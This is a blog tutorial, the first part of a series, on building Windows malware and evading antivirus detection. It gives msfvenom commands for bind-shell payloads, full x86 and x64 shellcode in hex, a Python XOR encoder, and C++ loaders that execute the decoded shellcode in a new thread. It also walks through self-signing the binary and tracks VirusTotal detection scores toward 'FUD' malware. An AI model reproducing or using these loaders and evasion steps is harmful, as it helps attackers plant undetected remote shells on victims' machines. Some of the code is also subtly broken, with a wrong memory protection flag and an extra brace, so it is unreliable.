~$: Malware development part 1 - basics
by Annese Gabriele
~$: Introduction
This a first of a series of posts were we will try to understand how malware development works and the various techniques/tricks are used.
This series is inspired by the knowledge and insights I gained from reading the excellent blog posts on 0xpat. Their in-depth articles on the subject have been instrumental in shaping my understanding and approach, and I highly recommend checking out their work for further learning
Warning!
This blog post is strictly for educational purposes. Replicating the actions described here for malicious purposes is not tolerated. If you’re here with bad intentions, I suggest you leave now, script kiddie. 😉
Remember: Knowledge is power, but how you use it defines who you are.
~$: Generate a Malware
First of all we need to generate a payload in this case a bind shell with msfvenom
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f c
This is a simple C++ source code where i created and execute a new thread containing a msfvenom bind shell using a Windows API.
void main()
{
//Bind shelle generate with MsVenom
const char shellcode[] ="\xfc\xe8\x82\x00 (....)";
//Allocate memory region
PVOID shellocode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, MEM_WRITE_WATCH);
//Assigne value of memory pointer (shellocode_exec)
RtlCopyMemory(shellocode_exec, shellcode, sizeof shellcode);
//Create a new thread where the memory pointer will be executed
DWORD threadID;
HANDLE hThread = CreateThread(NULL,0, (PTHREAD_START_ROUTINE)shellocode_exec, NULL,0, &threadID);
WaitForSingleObject(hThread, INFINITE);
shellcode
: This variable contain the msfvenom payload.VirtualAlloc
: This windows API it used to allocate a memory region.RtlCopyMemory
: This windows API it used to copy our buffer (shellcode) in the memory pointer created previously.CreateThread
: This windows API it used to create a new thread where the memory pointer will be executed.WaitForSingleObject
: This windows API it used to wait until the specific thread is in the signaled state before moving on with the code.
Compile the code in release mode to remove all debugging symbols and information and upload the file in VirusTotal.
~$: Obfuscation
Since the msfvenom payloads are known even the heuristic analysis can also detected them.
There are many techniques for obfuscate a malware, some of these are:
strings obfuscation
: Rename the function and/or variables names with no sense names e.x. (const char* shellcode –> const char* shseodhfblapo). This makes little bit difficult and boring the reverse engineering.Encoding
: The payload using crypt like BASE64, XOR, ROT13.Polymorphism
: When malware replicates change the instruction or the order of them without altering its functionality. This is involves having different HASH every time. Useful to evade a AV firm check.Metamorphism
: Similar to Polymorphism but in this case the code will come completely rewritten and its logic will change. Useful to evade static analysis or makes difficult the analysis.Packing
: The malware use a packer to reduces its dimension make the code less readable. This technique can be use to hidden the real purpose of the malware, only when the code will be executed the malware unpacking its self. Useful to evade static analysis and reverse engineering.Anti-Debugging
: The malware detect if its running in debugging environment so as to change its flow. Useful to make difficult the dynamically analysis and debugging.Anti-VM
: The malware can be detect if its running in virtual environment and stop or delete its self. This can be achieve by checking the specific drivers, WM-associated process, slowing time execution etc.. . Useful to evade dynamic analysis and reverse engineering in a virtual environment.Sandbox Evasion
: The malware can be detect if its running in sandbox and stop or delete its self. This can be possible through checking user input like a mouse movement or control the resource of the machine because often the sandbox have limited resources. Useful to evade dynamic analysis and reverse engineering in a virtual environment
In this example i use the simple Encoding
technique to encode my know payload.
I have create this simple and dirty python code to encoding the payload generate by msfvenom using XOR cipher with a 0x44
key.
# hex shellcode
shellcode = bytes.fromhex(
"fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 "
"31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 "
"e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 "
"c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 "
"8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 33 32 "
"00 00 68 77 73 32 5f 54 68 4c 77 26 07 ff d5 b8 90 01 00 00 29 c4 54 50 68 29 80 6b "
"00 ff d5 6a 08 59 50 e2 fd 40 50 40 50 68 ea 0f df e0 ff d5 97 68 02 00 11 5c 89 e6 "
"6a 10 56 57 68 c2 db 37 67 ff d5 57 68 b7 e9 38 ff ff d5 57 68 74 ec 3b e1 ff d5 57 "
"97 68 75 6e 4d 61 ff d5 68 63 6d 64 00 89 e3 57 57 57 31 f6 6a 12 59 56 e2 fd 66 c7 "
"44 24 3c 01 01 8d 44 24 10 c6 00 44 54 50 56 56 56 46 56 4e 56 56 53 56 68 79 cc 3f "
"86 ff d5 89 e0 4e 56 46 ff 30 68 08 87 1d 60 ff d5 bb f0 b5 a2 56 68 a6 95 bd 9d ff "
"d5 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a 00 53 ff d5"
)
# XOR key
key = 0x44
# Encoding XOR
print("Encoding....")
encoded_shellcode = bytearray()
for byte in shellcode:
encoded_shellcode.append(byte ^ key)
hex_shellcode = encoded_shellcode.hex()
print(hex_shellcode + "\n\n")
This now is my encoding payload:
b8acc644444424cda1758420cf1474cf1648cf1650cf366c4bf30e6275bbe8782538466864858b494583a6b61613cf1654cf0e78cf08553ca70c459515cf1d644597cf0d5ca77e0dcf70cf459275bbe8858b4945837ca431b24739bc7f396031a01ccf1c60459722cf480fcf1c584597cf40cf4594cd0060601f1f251d1e15bba41b1b1ecf56afc9192c777644442c3337761b102c08336243bb91fcd44544446d8010142c6dc42f44bb912e4c1d14a6b9041404142cae4b9ba4bb91d32c46445518cda22e5412132c869f7323bb91132cf3ad7cbbbb91132c30a87fa5bb9113d32c312a0925bb912c27292044cda713131375b22e561d12a6b922830060784545c9006054824400101412121202120a121217122c3d887bc2bb91cda40a1202bb742c4cc35924bb91ffb4f1e6122ce2d1f9d9bb917842384ec4bfa43141ff0357362b2e4417bb91
Now we need to integrate this payload in our C++ code and decode the payload before to create a remote thread like this
#include <iostream>
#include <Windows.h>
#include <string>
#include <iomanip>
#include <sstream>
#include <vector>
int main()
{
std::string shellcode = "b8acc644444424cda1758420cf1474cf1648cf1650cf366c4bf30e6275bbe8782538466864858b494583a6b61613cf1654cf0e78cf08553ca70c459515cf1d644597cf0d5ca77e0dcf70cf459275bbe8858b4945837ca431b24739bc7f396031a01ccf1c60459722cf480fcf1c584597cf40cf4594cd0060601f1f251d1e15bba41b1b1ecf56afc9192c777644442c3337761b102c08336243bb91fcd44544446d8010142c6dc42f44bb912e4c1d14a6b9041404142cae4b9ba4bb91d32c46445518cda22e5412132c869f7323bb91132cf3ad7cbbbb91132c30a87fa5bb9113d32c312a0925bb912c27292044cda713131375b22e561d12a6b922830060784545c9006054824400101412121202120a121217122c3d887bc2bb91cda40a1202bb742c4cc35924bb91ffb4f1e6122ce2d1f9d9bb917842384ec4bfa43141ff0357362b2e4417bb91";
std::vector<unsigned char> vector_shellcode_decoded;
//-[Decoding XOR paylaod]----------------------------------
for (size_t i = 0; i < shellcode.length(); i += 2) {
std::string byteStr = shellcode.substr(i, 2); //hex value
unsigned char decoded_byte = strtol(byteStr.c_str(), nullptr, 16); //byte value
decoded_byte ^= 0x44; //XOR key to decode
vector_shellcode_decoded.push_back(decoded_byte);
}
const unsigned char* shellcode_decoded = vector_shellcode_decoded.data();
//-[Create a new thread]----------------------------------
//Allocate memory region
PVOID shellcode_exec = VirtualAlloc(0, vector_shellcode_decoded.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (shellcode_exec == NULL) {
std::cerr << "VirtualAlloc failed with error code: " << GetLastError() << std::endl;
return -1;
}
//Assigne value of memory pointer (shellocode_exec)
RtlCopyMemory(shellcode_exec, shellcode_decoded, vector_shellcode_decoded.size());
//Create a new thread where the memory pointer will be executed
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
if (!hThread) {
std::cerr << "Thread creation failed!" << std::endl;
VirtualFree(shellcode_exec, 0, MEM_RELEASE);
return -1;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFree(shellcode_exec, 0, MEM_RELEASE);
return 0;
}
}
Uploading the file on VirusTotal we notice the score has dropped with only simple XOR encoding
payload.
~$: Signing the PE
Analyzing a hello world program on VirusTotal we may notice that as flagged as malicious.
#include <iostream>
#include <Windows.h>
void main()
{
printf("Hello World");
}
This because some malware detection engines may flag the unsigned binaries as suspicious.
~$: Create a self signed certificate
Try to create a self signed certificate and sign own malware.
Use makecert to generate a certificate in windows OS.
MakeCert.exe -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
ce
certutil.exe -user -addstore Root C:\Cert\MalwrCA.cer
MakeCert.exe -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic C:\Cert\MalwrCA.cer -iv C:\Cert\MalwrCA.pvk -sv C:\Cert\MalwrCA.pvk C:\Cert\MalwrCA.cer
pvk2pfx.exe -pvk C:\Cert\MalwrCA.pvk -spc C:\Cert\MalwrCA.cer -pfx C:\Cert\MalwrCA.pfx
After execution the above command we have generate a Malwr certification authority, imported it to our certificate store and created code-signing certificate in .pfx
.
Now we need to sign the executable, there are two way to do that
Manually
: Every time we want sign the executable we need to run this commandsigntool.exe sign /v /f C:\Cert\MalwrCA.pfx /fd sha256 /t http://timestamp.digicert.com C:\Users\MALDEV01\source\repos\SimpleShellCode\x64\Release\SimpleShellCode.exe
Automatically
: Add the command line on VS Post-Build Event:signtool.exe sign /v /f $(SolutionDir)Cert\MalwrSPC.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll $(TargetPath)
Upload on VirusTotal the signed malware and we can see that the score has decreased again even if only a little, this score can decreased further if the malware is signed with CA-third parties certificate.
~$: Switch to x64
Since the x86 architecture is historically most used in the malware the AV have largest DB to detect a x86 payload instance a x64 payload. The x64 unlike x86 payload has the disadvantage that it can be executed ONLY on x64 environment, but now we are in 2025 and most of computers are a x64 payload so to decrease further the score.
I have generate a new x64 payload
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f C
Using the previously python script i encoded the payload with XOR. Finally i have replaced the old x86 shellcode with that new one x64.
#include <iostream>
#include <Windows.h>
#include <string>
#include <iomanip>
#include <sstream>
#include <vector>
int main()
{
std::string shellcode = "b80cc7a0b4ac84444444051505141615120c7596210ccf16240ccf165c0ccf16640ccf36140c4bf30e0e09758d0c7584e878253846686405858d49054585a6a91605150ccf1664cf06780c4594cfc4cc4444440cc18430230c459414cf0c5c00cf04640d4594a7120cbb8d05cf70cc0c459209758d0c7584e805858d490545857ca431b5084708604c017d95319c1c00cf04600d45942205cf480c00cf04580d459405cf40cc0c4594051c051c1a1d1e051c051d051e0cc7a8640516bba41c051d1e0ccf56ad13bbbbbb190dfa3337761b7776444405120dcda20cc5a8e44544440dcda10df8464455184444444405100dcda008cdb505fe08336243bb9108cdae2c454544441d05fe6dc42f44bb91141409758d0975840cbb840ccd860cbb840ccd8505feae4b9ba4bb910ccd832e54051c08cda60ccdbd05fe869f7323bb910c75960ccdbd05fef3ad7cbbbb910975840c75960ccdbd05fe30a87fa5bb910ccdbd0ccd8305fe312a0925bb910cc580e44644440dfc2729204444444444051405140ccda61313130975842e491d0514a6b8228300601045450cc900605c82442c0ccda212140514051405140dbb8405140dbb8c09cd8508cd8505fe3d887bc2bb910c75960cbb8ecf4a05fe4cc35924bb91ffb4f1e61205fee2d1f9d9bb910cc7806c7842384ec4bfa43141ff0357362b2e441d05cd9ebb91";
std::vector<unsigned char> vector_shellcode_decoded;
//Decrypt XOR
for (size_t i = 0; i < shellcode.length(); i += 2) {
std::string byteStr = shellcode.substr(i, 2);
unsigned char decoded_byte = strtol(byteStr.c_str(), nullptr, 16);
decoded_byte ^= 0x44; //XOR key
vector_shellcode_decoded.push_back(decoded_byte);
}
const unsigned char* shellcode_decoded = vector_shellcode_decoded.data();
//Allocate memory region
PVOID shellcode_exec = VirtualAlloc(0, vector_shellcode_decoded.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (shellcode_exec == NULL) {
std::cerr << "VirtualAlloc failed with error code: " << GetLastError() << std::endl;
return -1;
}
//Assigne value of memory pointer (shellocode_exec)
RtlCopyMemory(shellcode_exec, shellcode_decoded, vector_shellcode_decoded.size());
//Create a new thread where the memory pointer will be executed
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
if (!hThread) {
std::cerr << "Thread creation failed!" << std::endl;
VirtualFree(shellcode_exec, 0, MEM_RELEASE);
return -1;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFree(shellcode_exec, 0, MEM_RELEASE);
return 0;
}
Uploading the file on VirusTotal we notice the score now are 10.
~$: Summary
This demonstrates how thought a simple obfuscation, signing and change payload architecture we can obtain a good result. Obviously the malware we created remains detectable but this is a first step to create a FUD malware.
If u want u can view the source code on my github repo.